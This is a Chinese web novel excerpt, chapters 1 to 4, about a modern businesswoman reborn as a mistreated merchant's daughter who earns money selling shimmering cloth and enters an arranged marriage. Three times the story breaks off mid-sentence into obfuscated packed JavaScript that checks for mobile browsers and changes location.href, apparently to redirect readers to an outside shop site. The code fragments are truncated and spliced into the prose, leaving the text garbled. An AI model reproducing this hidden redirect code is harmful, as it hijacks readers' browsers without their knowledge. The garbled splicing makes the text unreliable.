《落魄小姐嫁纨绔当首富》 1. 身无分文的首富嫡女 好冷。 无边的寒意将顾清语浸得全身无法动弹。 上一秒,她被车撞得飞上了天,下一秒,却趟在了冰冷刺骨的水底。 而且,她还无法呼吸。 死人也需要呼吸吗? 冰冷的河水让她无法思考,浑浊的泥沙让她的视线越来越模糊,但她还是瞧见了岸边一抹红色的身影。 “死丫头,早就该去找你那死鬼娘了。” 说完,那抹红色就消失了。 只剩下顾清语躺在水底,连挣扎都做不到。 不是已经死过一次了吗? 顾清语不懂,为何明明才经历了可怕的死亡,此刻却又再一次坠入无间地狱。 当她意识再次逐渐消散,忽的听见“噗通”一声。 一双有力的大手将她拦腰抱起,救她脱离出了那可怕的窒息。 她艰难地呼吸着,努力睁开双眼,却只看到一张黑色面具和线条分明的侧脸。 那人扯下自己的披风裹在顾清语身上,将她紧紧抱住。 “别死,撑住。” 她伸出手想要触碰他的脸,指尖才刚感受到皮肤传来的温度,就听见一阵嘈杂的人声快速向这边移动而来。 那人将她放在一片柔软的草地上便快速退走,消失在了她模糊的视线中。 吵嚷的人群靠近,她却逐渐失去了意识。 顾清语是在一张略有些陈旧的木质雕花大床上醒来的。 一个丫鬟打扮的古衣女子,正伏在一张摆放着一只青花瓷墨盅和几卷泛黄古籍的木桌上打盹。 顾清语很快便明白过来,自己穿越了。 原主的记忆瞬间涌入脑海。 她穿越到了一个叫大越的朝代,顾家老爷顾成勋是京中首富,家里一共三房人,大夫人早年间就因为反对顾老爷娶妾室而和老爷闹得颇不愉快,一直郁郁寡欢,最后独自死在了郊外的小屋里。 只留下一个独女顾雨漫,也就是这具身体的原主。 而顾雨漫这位不得宠的大小姐,向来软弱,受尽二房欺辱。 此番自尽,皆因一门原本属于二房三小姐顾雨欢的亲事,却因她任性妄为,不肯下嫁,和二夫人在顾老爷面前一番折腾后,硬是把这门亲事逼给了顾雨漫。 此番顾雨漫为了拒绝这门亲事,想要离家出走,却不知怎的坠了河。 顾清语就是这时候穿来的,但是她并没有坠河前的一段记忆。 忆起河边那抹红色的身影,顾清语知道原主的死必有隐情。 别人穿越是去做王妃、做公主的,她却穿到了一个受气包身上。 似乎开局就是天崩啊,顾清语这个常年经历商战厮杀的投行女大佬也颇有些头疼。 她微微侧了侧身,没想到却惊醒了在桌边打盹的丫鬟阿砚。 见顾清语醒来,阿砚立刻扑倒床边,看着自家小姐苍白的脸,忍不住就红了眼眶。 “小姐,你怎么这么傻……”阿砚小声的抽泣着:“只要活着就还有希望,您可是答应过夫人要好好活着的啊。” 顾清语的心跳突然就漏了一拍,心口传来一阵疼痛。 那感觉,是焦急、是心疼,更是难过。 顾清语瞬间明白过来,这是顾雨漫的意识,她想让阿砚知道,她不是自尽,她没有不爱惜自己,更没有违背对娘的承诺。 她伸出手来摸了摸阿砚的头,“傻丫头,我没事了,以后我们都好好的。” 阿砚抬起头来,顾清语这时才发现她那张挂满了泪水的脸颊上,竟然肿了一大片。 顾清语刚要问怎么回事,却听到门外有人来报:“大小姐,老爷让你去一趟书房。” “自己女儿遭此劫难,这顾老爷不亲自过来看一眼不说,竟然还叫我过去见他,果真是不在意啊!” 顾清语有些忿忿不平,她本是不想去的。 阿砚却说,在顾府没有人能对顾老爷说个“不”字。 既然如此,那就去会一会这位顾老爷吧。 在阿砚的搀扶下,顾清语虚弱的来到了顾老爷的书房。 刚一进门,就见一位头发半百的男子端坐在正位上。 顾老爷虽然有了些年纪,眉眼间却依旧英气非凡,却又似藏了许多不可告人的遐思。 “不孝女!给我跪下!” “为何要跪?” “身体发肤受之父母,自戕便是大不敬之罪!” 身为京中首富,顾老爷在乎的只是他的颜面,而不是自己女儿的生死。 从始至终,他甚至没有问过女儿一句为什么会坠河?如今身体可好?就早已在心里认定了顾清语必是自尽,丢了他的颜面。 顾清语征愣片刻后,突然就笑了。 “逆子!你笑什么?” “没什么,女儿只是想问问父亲,您究竟是希望我死,还是不希望我死啊?” 平日里低眉顺眼的女儿,今日犯下大错竟然还敢在他面前发笑,顾老爷怒火中烧。 可是这一问,反到把顾老爷给问住了。 这女儿若是死了,倒是可以免去了和定北侯府联姻这件麻烦事。可若是不死,他逼女下嫁的名声就这样传出去,那他以后还如何在京中立足? 被人如此贴脸开大,顾老爷自日渐显贵后还是第一次。 “大胆!你犯错在先竟还敢顶撞长辈,来人啊!给我家法伺候!” 此刻,顾成勋阴鸷的双眼里只有愤怒,没有丝毫对女儿的怜惜。 一抹冷笑浮上眼底,顾清语已经做好了逃跑的准备。 顾成勋从未见过顾清语眉宇间的那抹桀骜。 眼前此人,似女儿又不似女儿,总让他有一种既熟悉又陌生的疏离感。 很快,顾府家丁便拿了一条三尺长鞭进来。那鞭上,甚至隐隐还有些血迹。 “顾雨漫目无尊长,今日就罚你受鞭二十,以儆效尤。” 二十鞭?这是想要我的命吧! 顾清语咬紧牙关,死死盯着那条鞭子。 出门前,她早已在袖口藏了一把小刀,只要那执鞭之人敢靠近,她便随时准备鱼死网破。 剑拔弩张之际,却听一个好听的男声忽的响起:“且慢!” 这声音怎么有些耳熟? 顾清语回头,见一袭白衣的男子破门而入。 男子嘴角微微上翘,笑容柔软而又不失明媚,眼神清澈却又有几分清冷。 他只扫了顾清语一眼,便匆匆向顾老爷鞠躬行礼。 “见过顾世伯。” “你是?” “我乃定北侯之子言正廷,排行第三,大家伙都乐意叫我一声言老三。” 语气虽然恭敬,却颇有些轻浮。 原来这就是顾雨漫要嫁的那纨绔?虽顽劣了些,模样到是不错。 顾清语心想,要是放到她的年代里去,高低也得是个流量小生。 “你来作甚?未经通报就硬闯我书房,这就是定北侯府的礼数吗?” “抱歉了世伯,救人心切,还望海涵。” 言正廷被问候了家教,却并不以为意,仍然谦卑的俯首抱拳。 “救人?你欲救谁?” “自然是救您啊!” 顾老爷眯着眼,想看这言正廷究竟想耍什么花样。 “听闻顾老爷要对自己刚死里逃生的女儿用家法,再加上平日里说顾老爷本就偏心的流言蜚语,这要是传出去,不是以为顾老爷急着把女儿往黄泉路上送吗?” “顾小姐的死活不重要,顾老爷的名声要是坏了,那可是大事啊!我这一着急,就坏了规矩,还望顾老爷念我一片孝心,饶我擅闯之罪。” 说罢,又恭恭敬敬的鞠了一躬。 顾清语忍不住在心里发笑。 这言正廷,句句顽劣不着边际,却又句句一语中的,击中顾成勋的要害。 此刻顾老爷脸上青一阵白一阵,他何时被人如此奚落过? 可言正廷滴水不漏且恭敬有礼,偏偏让人挑不出错来。 言正廷却很快转了话锋:“不过今日顾小姐平安无事,那些坊间传言自然就不攻而破了,您说是吧?” 顾成勋并不说话,却是眼神不善。 言正廷则双眼含笑,丝毫不惧顾成勋眼中逐渐泛起的冷意。 而顾清语却在看戏。 不知道这样的沉默持续了多久,直到面容冷峻的顾老爷突然微微一笑。 “世侄说的是,小女任性,将来嫁入言府,我顾家和言家便是忧患同担,若惹出什么祸端来,世侄还要多担待啊!” 顾成勋一番话,既是在告诉顾清语,这门亲事没有任何缓和的余地,她非嫁不可。 也是在警告言正廷,今日他保下了顾清语,将来若是再有事端牵连了顾府,他绝不手软。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205066|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也不等二人再言语,顾老爷大手一挥,便让众人都退下了。 顾清语将袖口里的小刀往里藏了藏,默默松了口气,在阿砚的搀扶下走出书房。 而言正廷则跟在她们身后并不言语。 快走到顾清语房间时,阿砚却突然发难。 “言公子请回吧!您再往前就要走进我小姐闺房了,您还嫌害她害得不够吗?” “抱歉抱歉,一时没留意,你们平安回去就好!” “不用你假好心!要不是因为要嫁给你这样的人,小姐也不会有今日这般遭遇。你快走吧!” 刚刚还能言善辩的言正廷,此刻被一个丫鬟连连呛声却并未反驳。 只是看了看一直没说话的顾清语,试探道:“你,记得我吗?”。 顾清语有些莫名其妙,“我应该记得你吗?” 言正廷顿了顿,笑着摇了摇头,“顾小姐,我自知不堪,配不上你,但这门婚事乃先皇所赐,我虽纨绔却也不能以全家人的性命作赌注,委屈了顾小姐,我将来一定尽力补偿!” 说完,便径自离去。 顾雨漫记忆中的言正廷,是京城里臭名昭著的纨绔子弟之一。 听说他常年流连烟花柳巷,不思进取,夜夜醉生梦死,把言老爷都气出了病来。 可今日一番言语,和传言多少有些不符。 望着言正廷的背影,顾清语竟觉得有种莫名的熟悉。 她开始怀疑自己是不是曾见过此人。 回去的路上顾清语一直在想,刚才言正廷的话是什么意思? 莫不是她丢失了顾雨漫与言正廷相识的那段记忆? 正想着,赫然发现自家房门大开。 一行人已经在屋里等着她了。 只见那衣着华贵的二夫人悠闲的翘着小指品着茶,见顾清语安然无恙的回来,甚是有些诧异。 “居然没挨打?”语气里尽是嘲讽。 顾清语并不在意,反而径直坐在了二夫人旁边,自己斟了杯茶,放在嘴边微微一抿,“啧!好茶!” 又斜眼睨着二夫人,“二姨娘有何贵干啊?” “你!” 这顾雨漫是越发大胆了。 二夫人却忍住没发火,只是将一张纸直接甩到了顾清语脸上。 “你娘的债,该还了。” 顾清语打开一看,心下一惊。 一张一千两的借据,借款人上面明晃晃的盖着顾雨漫的娘夏如玉的私章。 她疑惑的看向阿砚,阿砚却只是拼命摇头。 那二夫人又道,“当初我可怜你们才帮你娘还了债,谁料你娘死了,你也要玩自寻短见那一套,我现在想把自己的钱要回来不过分吧?” “不过,我也知道你没钱,不如…就用你娘那台来抵债吧!” 顾清语扫了一眼二夫人说的那张妆台。 与此同时,她敏锐的捕捉到了二夫人眼中一闪而过的狡黠。 她顿时心生疑窦。 这二夫人在顾府极为得宠,顾老爷平时搜罗到的好东西没少拿,这紫檀木妆台虽却有些名贵,可说到底也不值一千两。 二夫人这样的人,怎会甘愿吃亏呢? 这妆台本是夏玉清唯一的遗物,但却被二夫人打上了主意 如今虽然主动提出这亏本的生意,但顾清语绝不可能把妆台交出去了。 “母债女还天经地义,但母亲的遗物我绝不能卖,母亲欠下的钱,我会在一个月内,以三分息连本带利将银钱还给二姨娘。” “一个月?三分息?就你?” “若还不出,这个妆台就彻底交予二姨娘所有,利息我照付就是了。” 二夫人暗暗思忖了一番,这一千两她料定顾清语还不上。 还能多拿一笔利息,到是稳赚不赔。 “行!我再给你一个月的时间,一个月后,我看你还能耍什么花样!” “多谢二姨娘成全!” 二夫人走后,一旁的阿砚却是愁容满面。 “小姐,我们一个月的月钱才二十两,这一千两,再加这么高的利息,我们如何还得上?” “什么?一个月二十两?那我们房里的账上现在还有多少银钱?” “一文余钱也没有。” 顾清语一听,彻底傻眼了。 “身为首富嫡女,我竟然身无分文???” 2. 第一桶金 据阿砚所说,二房和三房的月钱账面上是每人二百两。 另外还有一些顾成勋在外寻得的稀罕宝物也经常会往那边送。 就连二夫人的贴身婢女,头上的珠钗也比顾清语多不少。 高门大户的富家嫡女,竟过着连下人都不如的生活。 “阿砚,明日你去把我们这月的银钱领了来,我们买新衣裳去。” “小姐,我们每月不添置东西都过得紧巴巴的,要是月初就拿钱买了新衣服,我们这个月还怎么活啊?” “要想挣钱,就得先学会花钱。” 顾清语比谁都明白,想要过好日子,就得先把自己活出个人样来。 第二天一早,阿砚就把月钱领来了。 主仆二人揣着这个月的所有银钱,高高兴兴出了门。 二人一路走,一路买。 顾清语无论看到好吃的,还是好看的,只要一高兴,就是买买买。 一连逛了几日街,顾清语终于花光了这个月的所有月钱。 这天一早,阿砚就苦着一张脸。 “小姐,钱已经花完了,可是咱就连一文钱也没挣着。” 顾清语伸了个懒腰,拿出前几日刚买的几匹琉光锦,笑道:“走吧,挣钱去!” 顾清语这几日一直在京中各大集市上游走。 看似闲逛,实则却是在做市场调研。 当然,也顺便淘些自己喜欢的东西。 那日,顾清语在逛街时被这泛着七彩莹光的布匹吸引。 这是一种由西域特制染料所制成的布匹,阳光一照立刻流光溢彩,因而得名琉光锦。 据说琉光锦在西域和邻国大梁颇受欢迎。 布庄的黄老板,长期游走于中原和西域,他好不容易才从大梁的布贩子手上抢了些来。 本以为如此特别的布匹,会在大越大受欢迎。 岂料在大梁五两银钱也买不到的琉光锦,在大越竟连三两也无人问津。 老板见顾清语是真喜欢,便以二两一匹的成本价卖了三匹给她。 顾清语自小一无所有,所以她长大后有个习惯。 她要把所有自己喜爱的东西,都紧紧攥在自己手里。 从她遇见琉光锦那一日,她就计划好了,要让这琉光锦,成为她自己的生意。 如今,她已经有了全盘计划,准备去找黄老板做生意了。 布庄仍旧门可罗雀,黄老板愁容满面。 “黄老板,这几日生意可有起色?” “哪有什么起色啊!除了姑娘你那天买走了三匹琉光锦,便再无人问津。” “那琉光锦目前还余多少存货?” “整整八百匹啊!” 顾清语在心中细细盘算了一番。 “黄老板,若是我能帮你把这八百匹布全卖出去,利润你我二人平分可好?” “顾小姐,这二两一匹的成本价都没人要,我哪还有利润给你分啊?” “我记得黄老板说过,这布在大梁是五两一匹对吧?那咱也卖五两。一匹布盈利三两,八百匹盈利两千四百两,你我五五分账,一人一千二百两,这样可好?” “五两?姑娘可别痴人说梦了,你要真能给我全卖出去,别说一千二百两,就是分你一千五百两也行啊!” “一言未定!黄老板,可有纸笔一用?” 黄老板找来纸笔,只见顾清语在纸上规规整整的写下了【销售分成合同】几个大字。 随后详细列明了销售数额,利润分成等条款。 顾清语的合同上,她与黄老板仍是五五分成。 她只想光明正大的做生意,并不想占任何人便宜。 写完后,顾清语找黄老板要来了印泥,签好名字按好手印。 二人签字画押后,顾清语不忘叮嘱黄老板,这几日无论谁来问琉光锦,都说没货。 出了布庄,顾清语便让阿砚打听了春风亭的去路。 春风亭,是这京城里最大的风雅之地,聚集了大量文人雅客。 但要说这里最大的特色,便是每月只一次的吟舞会。 所谓吟舞会,是指春风亭的歌姬舞娘们会根据文人所投选出的一首诗编制成舞曲,一边吟唱一边舞蹈。 每月的吟舞会只有受春风亭所邀之人才能参与。 顾家想要请帖易如反掌。 可顾清语想要请帖,却是难如登天。 站在春风亭门口,顾清语张口就说要见春风亭的主事。 门口的迎客小厮上下打量顾清语,只一眼便知道她没钱。 “去去去,春风亭可不是什么小门小户家的穷酸女子可以来的地方,还想见我们十一娘,也不看看自己几斤几两。” 小厮见人下菜碟。 顾清语倒也不恼,随手就甩出了顾府的名牌。 小厮一看,这“穷鬼”竟是顾家人,心下知道怠慢不得,赶紧点头哈腰的把顾清语请进了楼上包厢。 这京城里的人,可以没见过首富顾成勋长什么样,却不能不认识顾府的名牌。 不一会儿,一个与顾清语同样身着一身素色衣裙的女子便敲门进来。 此女子打扮得颇为雅致。 水蓝色衣裙配上淡雅的妆容,口脂颜色淡而透,没有明艳的色彩妆点,反而削弱了那浓眉大眼的五官带来的锋利感,倒惹人怜爱起来。 女子见顾清语不说话,便率先开了口,“姑娘说想见我,不知所为何事?” 原来这就是传说中的十一娘,春风亭的主事人。 传闻她琴棋书画、诗词歌赋、舞蹈曲艺样样精通,酒量还十分惊人。 然而,顾清语看中的并不是这些,而是这十一娘的另一个隐藏属性,用现代话来说,就是潮人。 每一次的吟舞会,就像是一场时尚大秀。吟舞会的姑娘们穿的什么衣裳,用的什么妆品,戴的什么珠钗,都会引起这京城里的姑娘们争相模仿一番。 这不就是网络大V、带货博主吗? 这不,她就来找这位大V谈商务了。 顾清语见对方也是个性情耿直之人,便开门见山道:“不知道这个月的吟舞会,十一娘打算穿什么衣裳?” 十一娘了然一笑:“我听小厮说,姑娘是顾家的人,顾家的生意还需要找我来做衬吗?” “顾家的生意当然不需要,可是我自己的生意需要。” “哦?” “我知道女子在大越营生并不容易,但是十一娘能做春风亭的主事,我觉得我也可以为自己挣点底气。” “说来听听。” 二人在春风亭整整聊了一个下午。 十一娘听完顾清语的计划,露出了欣赏的笑容。 钱,她有的是。 她需要的,是有底气、有尊严的挣钱。 歌舞姬素来表面风光无限,实则却总被视为以色侍人。 她一直想要摆脱这种困境,如今顾清语到是给她提供了一个不错的思路。 况且,这些年来,找她做生意的人虽然不少,可那些男人不是想包养她,就是想要某个姑娘作陪。 顾清语,是第一个来找她做生意的女子,也是第一个没有提出任何附加条件的人。 十一娘很满意顾清语提出的方案,两人的合作很快敲定下来。 顾清语又与十一娘沟通了一些表演的歌舞细节后,就去为姑娘们准备衣裳了。 她始终都没发现,自她出了布庄后,就有一个身影一直在背后默默跟随。 “出来吧!躲了这么久也不知道累不累。” 十一娘话音刚落,一个利落的身影出现在了房门后。 “你这未婚妻不错啊!很有生意头脑。” “我也没想到,她与传言完全不一样。” “那有什么稀奇,你不也不一样吗?” …… 五日后,吟舞会如期举行。 十一娘和她手下的歌舞姬穿着琉光锦制成的飞天舞衣,在炫目的灯光下大放异彩,宾客们如同置身一场华丽梦幻的敦煌神话之中。 为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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他们算过了,以目前琉光锦的热度,一套成衣的利润可以达到四两银钱。而一匹布至少可以做五套衣裳。 这可比卖布的利润高多了。 在顾清语的穿针引线之下,成衣铺和布庄达成了合作协议。 黄老板提供二百匹琉光锦,甄娘负责成衣加工制作,而顾清语提供的则是生意场上最稀缺的“资源”,利润仍是三人平分。 一来二去之下,除去黄老板和甄娘的铺面租金及人工成本,还有顾清语打算多分给十一娘的一些银钱外,三人竟还能再分到每人一千两银钱。 原本顾清语只是想赚够还给二姨娘的一千两便可。 谁知道在一环套一环的营销策略推动下,她还额外赚到了来到大越的第一桶金。 这也为她撸起袖子做生意、自立自强赚银钱打下了良好的基础。 累了好多天的顾清语,本以为终于有机会睡个懒觉。 只是没想到,还债的日期还没到,那债主却又上了门。 一大清早,二姨娘就气势汹汹带了一群人闯进顾清语的房间。 “还有五日就到期限了,你连一分钱都没还过,我看你是只会吹牛皮。来人,给我把妆台抬走。” “等等。谁说我不还了?” 顾清语慢悠悠的从床上爬起来,让阿砚将一千零三十两银钱连本带利还给二姨娘。 并带了句话:“两清,勿扰。” 二姨娘从未想过顾清语竟真能还钱。 如今明明收回了欠款,却不似高兴的模样。 她狠狠瞪了顾清语一眼,临走前,却几不可查地望、扫了一眼角落里的妆台。 不成想,她这小动作却被顾清语尽收眼底。 二姨娘的目的,根本不是钱,而是这妆台。 顾清语开始怀疑,这妆台究竟藏了什么秘密? 3. 嫁纨绔 二姨娘对妆台的在意程度已经远超其本身的价值。 事出反常必有妖。 顾清语开始细细地摸索妆台的每一个角落,她闭上眼睛,在脑海中努力搜寻着原主曾经的记忆。 她发现原主的娘夏如玉不爱梳妆,却总是坐在妆台前发呆,右手还会无意识地去摩挲妆台底层的右边。 她循着从前的记忆摸向了妆台的最底层。 突然,她摸到了一个硬硬的东西,用力一扣,妆台下竟弹出一个暗盒。 她小心翼翼的将暗盒取出来,里面静静地躺着一张折叠起来的信纸,还有一颗通体翠绿还泛着莹莹微光的宝石。 在确定门窗都已关好后,她打开了那张纸。 原来,那宝石是夏如玉当年悄悄藏起来的传家宝,名为碧云玺。 当年夏家还风光之时,曾盛传有一枚价值连城的传世秘宝,得此宝石便富可敌国。 顾成勋当年正是觊觎夏家财富才娶了夏如玉。 婚后一直想方设法逼问其宝石所在,而夏如玉一口咬定那只是无稽之谈,直到夏家没落,也没说出宝石下落。 顾成勋对此耿耿于怀,对夏家的困境见死不救,对夏如玉也越来越差。 夏如玉临死前留下这封书信,只求女儿能够在顾家平安长大,只等有一天能将传家宝交到女儿手上。 看完这封信,顾清语不禁有些叹惋。 原主虽然命苦,可至少还有个真心实意疼爱她的娘,比起被亲生父母遗弃的自己,不知道强了多少。 只是…… 她始终认为夏如玉的死,是有蹊跷的。 早已病得下不来床的夏如玉,却是死在了城外的客栈里。 还留下一封遗书,说是不愿再拖累顾成勋,所以离家出走准备客死异乡。 无论是原主幼时的记忆中,还是暗格的那封信里,满满都是一个母亲对女儿的用心良苦。 而遗书里却偏偏对女儿只字未提,这是不合逻辑的。 顾清语不知道一个合格的母亲应该是什么样的,因为她没有。 但她不相信,夏如玉也是个不合格的母亲。 夏如玉的死必有隐情。 但当务之急,是夏家的传家宝该如何处置。 如今原主已经没了,她一定要为她的娘好好守住她们的传家之宝。 可放眼顾家上下,哪里还有安全之地? 顾清语正着急上火,忽的听见门外花园处传来了争吵声。 走近一看,竟是阿砚和二姨娘房里的婢女起了争执。 “这花儿是我们夫人生前就种下的,连老爷都没说什么,你凭什么要把她挖走!?” “就凭这花儿碍了我们二夫人的眼!” “你们也未免欺人太甚了!花种在我们自家院子门口,与你们何干?嫌碍眼别来就是了!” 二人正争执不下,未曾想已经离去的二姨娘却又折返了回来。 她本来就在顾清语房里吃了瘪,如今听见阿砚言语,更是气不打一处来。 “好大的胆子,敢这么与我说话?” 不由分说,她上前就扇了阿砚一巴掌。 “跪下!” 阿砚委屈地捂着脸,却不敢违逆二姨娘。 正欲跪下,却被及时赶到的顾清语一把拉住。 “二姨娘何至于此啊?” “怎么?这丫头以下犯上不该罚吗?” “自然该罚,但您房里的丫鬟损毁我院子里的花,也该一同受罚。” 啪! 话音刚落,顾清语的巴掌就落在了丫鬟脸上。 这一巴掌,可将二姨娘彻底激怒了。 “你!你个死丫头也太猖狂了!你那死鬼娘就是这么教你的吗?看我不禀明老爷,好好收拾你一顿!” 说罢,便带着众人气势汹汹地往顾老爷的书房疾驰而去。 而此刻此刻,顾清语却根本顾不上与之斡旋。 这短短一句话,已经让她浑身颤抖,如坠冰窖。 她清楚地记得,穿来那日她在水底听见那抹红色的身影说过:“死丫头,早该去找你那死鬼娘了。” 相同的话语,同样的语气。 原来二姨娘,就是那日想杀害她之人! 难怪她醒来后第一次见到此人,就有种异样的感觉。 原主在顾家并不得宠,为何要置她于死地? 难道就为了得到这碧云玺,不惜杀人越货? 在不清楚二姨娘谋害她的真实目的之前,顾清语意识到自己随时还会有生命危险。 若继续在顾家待下去,只怕会人财两失。 “阿砚!回屋收拾包袱!” 顾清语决定,带着碧云玺先跑为妙。 反正她现在手里有钱,即便去了邻国她也能很好的生活。 顾府夜间守卫森严,前后面都有人把守。 无奈之下,主仆二人只能翻墙逃走。 阿砚跟在顾清语身后又是爬树,又是翻墙。 虽然心下疑惑,可是在她心里小姐永远是对的,哪怕小姐死里逃生后就与从前大不相同了,但她仍然选择无条件地支持与信任。 二人逃亡经验不足,花了很长时间才离开顾家府邸周围。 为避免顾府平日里布下的眼线,她们决定不住客栈,在城门附近随便找个无人的荒郊野屋对付一晚,第二天天一亮就立刻出城。 这一晚,顾清语是无论如何也睡不着的。 当她还在思索着去了邻国怎么隐藏身份时,却听到屋子外头有了些响动。 她没想到原主的听力竟如此的好,她能清楚地听到一串脚步声在向她们的方向靠近。 那脚步声稳健有力却又似在刻意收敛,应该是长期习武之人。 仔细辨别,来者至少有四人。 这些人,不会是来杀她的吧? 就在这个念头冒出来的一瞬间,她拉起还在迷糊中的阿砚就想跑。 可是已经来不及了。 四个蒙面人一脚踹开了本就不牢固的木门,手握长剑向她们步步逼近。 环顾四周,窗户都被封住了,她们根本无路可逃。 “反正我今天死定了,能不能告诉我是谁派你们来的?为何要杀我?” 死到临头,她倒是生出了一股勇气。 即使命中注定了早亡,她也要死得明明白白。 可是对方似乎并不想成全她的心意,对她的问题毫不理睬。 步伐坚定地向她们一步步走来。 不知为何,在临死前的这一刻,顾清语突然想起了那日在河里救她的那位面具人。 如果,他还能再救她一次,该多好。 杀手已逼近,她绝望地闭上了眼。 然而想象中的疼痛却并未到来。 只听“砰!”的一声巨响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14205068|150902||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一扇原本被封住的窗户被大力破开。 仿若福至心灵一般,她所期待的救命恩人竟然真的再次出现了! 恩人不仅水性极好,武功也格外高强。 以一敌四也丝毫不落下风,甚至重伤了其中一名杀手。 对方似乎并不打算硬拼,见同伴受伤,很快便向门外退走。 在虚晃一枪后,四人彻底逃离。 面具人快速返回屋里想查看顾清语的状况。 见二人安然无恙,本想转身继续去追那几个杀手,却突然感觉有人扯住了自己的衣角。 “这位大哥…大侠……大恩人!谢谢你又救了我一次。” 面具人的眼里溢出一丝惊讶,他没想到顾清语竟然认出了他就是那日在河边救她之人。 他向顾清语微微点头以示礼貌,并不打算多说什么。 却听她继续问道:“恩人可否告知姓甚名谁?小女日后定当涌泉相报。” “不用。” 面具人只是冷冷地丢下两个字,便不再理会顾清语,一个飞身上了屋顶,消失在夜色中。 顾清语直直地望着面具人消失的方向,自言自语道:“如果以后还想见到他的话,我是不是得先买凶杀自己啊?” 她的心里微微泛起了涟漪。 毕竟,有谁能不对一个几次三番拯救自己的人动心呢? 还来不及从遭遇刺杀的心悸中缓过神来,顾家的追兵却到了。 好在来的都是顾家家丁,只是奉命将她们带回顾家,并不敢动粗。 前有豺狼,后有杀手。 在这腹背受敌的情况下,顾清语无奈只能暂时回到顾家。 一回去就被顾老爷罚跪祠堂、抄写家规,外加禁足一个月。 也好,只要这段时间小心一些,二姨娘也不能直接在顾家对她动手,杀手更不会直接杀进顾家。 这一个月来,顾清语过得可谓是胆战心惊。 每日就在自己房里,大门不出二门不迈,就连花园也不去。 所有送来的饭菜,必须先用银针试一遍才敢入口。 每晚睡前,都要在房门和窗户布置好机关,只要有人进来她就会被铃铛声惊醒。 而那碧云玺,自然是每天贴身藏着,根本不敢拿出来片刻。 就在她已经有些撑不住时,一个意外的消息让她看到了转机。 言家遵循先帝的旨意,正式上门提亲了。 这段时日以来,顾清语早已决定好是要嫁的。 这顾家看似风平浪静,实则危机四伏。 尤其在她发现了碧云玺和二姨娘想杀她之后,她就一直有种山雨欲来风满楼的感觉。 嫁给言正廷,在目前看来,反倒成了“避雨”的好去处。 于是,她在众人惊讶的目光中,欣然同意了婚事。 而那言正廷似乎早有预料一般,并不惊讶,反倒是将婚礼办得又快又好。 言家一派喜庆,因为他们家这惹人嫌的“废物”终于有着落了。 顾家表面也是喜悦祥和,因为那不受宠的拖油瓶终于能甩出去了。 很快,顾清语这个坚定的不婚主义者,就这样在古代嫁了人。 还嫁了个人人唾弃的纨绔子弟。 大婚之夜,当言正廷掀开顾清语的盖头时,顾清语却递给他一沓宣纸。 上面赫然写着: 【婚前协议书】 4. 天残地缺是一对 【婚前协议书】为何物言正廷并不知晓,而眼前的妻子却越来越出乎他的意料。 不知道这个传闻中玉软花柔、多愁善病的顾家小姐,还有什么惊喜准备给他。 顾清语并不理会丈夫探寻的目光,自顾自的解说起这份【协议书】的各项条款来。 什么婚前财产范围、婚后财产划分,还有婚姻存续期间债务规定,这些言正廷从未听过的专业词汇一个接一个从她嘴里蹦出来。 言正廷本是不在意这些的,直到他听到“婚姻存续期三年,三年后自动解除婚姻关系。”这一条时,他有些坐不住了。 “夫人的意思是,三年后就要与我和离吗?” “原来这里离婚叫和离啊?那我改一改。” 说罢,自顾自的重新拿出纸笔改起了那份【协议书】,完全没有留意到言正廷那微微抽搐的嘴角。 “我的意思是,我们今日才刚成亲,夫人怎的就想和离之事了?你是怕我对你不好?” “那我就直说吧。你我之间全无感情,成亲不过是迫不得已,那就做一对协议夫妻,等时机成熟大家就天高海阔、互不相干吧。” 说的是迫不得已,实则对她来说只是缓兵之计。 顾清语奋笔疾书,头也不抬的将重新改好后的【协议书】扔在言正廷面前。 “签字画押吧。” 看着眼前的这份协议,言正廷并没有着急签字。 他只是随意翻了翻后,认真的问道:“夫人是因为你我二人全无感情才提前想好和离?若是有了感情以后呢?” “不可能!” “那咱们就看看,若是三年后有了感情,就不和离了,可好?” 言正廷嘴上不说,心里却在想:说不定三年后,娃都会打酱油了呢! 想归想,却签上了自己的名字,盖上了私章。 顾清语没想到进展如此顺利。她原本以为对方会在财产划分上与她掰扯一番,未曾想这个二世祖根本提也不提财产之事,竟是与她讲感情? 真是可笑! 她接过协议,认真的签上了自己的名字,盖好印章,小心翼翼的收藏在了原主娘留下的妆台里。 以嫁进言家既需要嫁妆,也想把娘的遗物留在身边为借口,顾清语成功保下了妆台,也算是对原主的交代了。 只是她始终没能忘记,当她开口说要带走妆台时,不止二姨娘一脸的不情愿,就连顾老爷的眼终也泛起了一丝冷意。 二姨娘是曾谋害她的凶手,而原主娘留下来的书信里,明显是顾老爷更加觊觎那宝物。 说不定,二姨娘的谋害,根本就是顾老爷授意的! 想到此,顾清语突然就全身冰凉。 似乎是原主感知到了她的推测,没想到亲生父亲竟然为了宝物就要谋害自己,换做是谁也会觉得心凉吧。 强行压下心中来自原主那股心碎的感觉,她把言正廷赶到了外屋去睡。 侯府家规森严,比顾家有过之而无不及,而她在现代事业有成,来了古代可不是来当家庭主妇的。 